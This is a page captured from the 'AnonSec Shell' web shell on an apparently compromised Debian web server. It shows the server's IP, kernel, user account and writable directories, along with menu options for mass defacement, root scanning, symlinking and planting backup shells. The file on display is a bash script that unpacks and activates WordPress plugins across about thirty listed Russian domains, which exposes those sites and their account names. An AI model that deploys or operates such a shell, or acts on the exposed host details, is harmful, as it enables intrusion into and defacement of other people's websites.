AnonSec Shell
Server IP : 5.101.180.230  /  Your IP : 216.73.216.104   [ Reverse IP ]
Web Server : Apache/2.4.62 (Debian)
System : Linux s4261ad19.fastvps-server.com 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64
User : mrnews_ru_usr ( 1030)
PHP Version : 8.2.26
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/install_plugins.sh
#!/bin/bash

# Массивы с данными о сайтах (только новые из dannye.csv)
domains=(
    allfixed.ru dagb.ru deroseproject.ru cleex.ru keywordium.ru nerehtahp.ru
    teams-up.ru watercycle.ru knit-story.ru baziscompany.ru ematik.ru elm-stroy.ru
    domuskvera.ru masterakomforta.ru domsippanel.ru golicinoavto.ru artdom-select.ru
    gosty-dom.ru avtogear-mir.ru chast-avto.ru autoliftspot.ru gross-auto.ru
    inpino.ru autolavki.ru fastsmet.ru nfhgmk.ru metelicanur.ru mobiqa.ru tehno-draiv.ru
)

users=(
    allfixed_ru_usr dagb_ru_usr deroseprojec_usr cleex_ru_usr keywordium_r_usr nerehtahp_ru_usr
    teams_up_ru_usr watercycle_r_usr knit_story_r_usr baziscompany_usr ematik_ru_usr elm_stroy_ru_usr
    domuskvera_r_usr masterakomfo_usr domsippanel__usr golicinoavto_usr artdom_selec_usr
    gosty_dom_ru_usr avtogear_mir_usr chast_avto_usr autoliftspot_usr gross_auto_r_usr
    inpino_ru_usr autolavki_ru_usr fastsmet_ru_usr nfhgmk_ru_usr metelicanur_usr mobiqa_ru_usr tehno_draiv_usr
)
# Путь к архиву с плагинами
plugins_archive="/var/www/plugins.tar"

# Цикл по сайтам
for i in "${!domains[@]}"; do
    domain=${domains[$i]}
    user=${users[$i]}
    path="/var/www/$user/data/www/$domain"
    plugins_path="$path/wp-content/plugins"

    echo "--------------------------------------------"
    echo "🔹 Настраиваем сайт: $domain под пользователя: $user"
    echo "Путь к сайту: $path"
    echo "--------------------------------------------"

    # Проверяем, существует ли пользователь
    if id "$user" &>/dev/null; then
        echo "✅ Пользователь $user найден, продолжаем..."
    else
        echo "❌ Ошибка: Пользователь $user не существует!"
        continue
    fi

    # Проверяем, существует ли папка с WordPress
    if [ ! -f "$path/wp-config.php" ]; then
        echo "❌ Ошибка: Папка $path не является установкой WordPress!"
        continue
    fi

    # Копируем архив плагинов в директорию плагинов WordPress
    echo "Копируем архив плагинов в $plugins_path..."
    cp "$plugins_archive" "$plugins_path/plugins.tar"

    # Распаковываем архив
    echo "Распаковываем архив плагинов..."
    tar -xf "$plugins_path/plugins.tar" -C "$plugins_path"
    rm "$plugins_path/plugins.tar"  # Удаляем архив после распаковки

    # Активируем все плагины через WP-CLI
    echo "Активируем все плагины..."
    su - "$user" -c "wp --path='$path' plugin activate --all"

    # Проверяем, успешно ли выполнена команда активации плагинов
    if [ $? -eq 0 ]; then
        echo "✅ Все плагины успешно активированы на $domain"
    else
        echo "❌ Ошибка активации плагинов на $domain"
    fi

    echo "--------------------------------------------"
done

echo "✅ Все новые сайты обработаны."

Anon7 - 2022
AnonSec Team